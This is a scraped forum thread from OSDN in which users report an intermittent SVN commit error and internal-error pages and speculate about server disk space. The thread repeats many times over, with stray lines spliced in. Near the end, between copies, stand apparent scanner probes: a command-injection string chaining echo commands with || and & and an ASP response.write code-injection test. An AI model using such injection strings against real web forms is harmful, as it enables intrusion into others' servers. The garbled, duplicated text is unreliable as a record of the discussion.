About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1CY3Y2ZAB6M0
echo eswknh$()\ mowywx\nzxyu||a #' &echo eswknh$()\ mowywx\nzxyu||a #|" &echo eswknh$()\ mowywx\nzxyu||a #
"+response.write(9227032*9814759)+"
rkYziuTK: mZHwsu7f
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
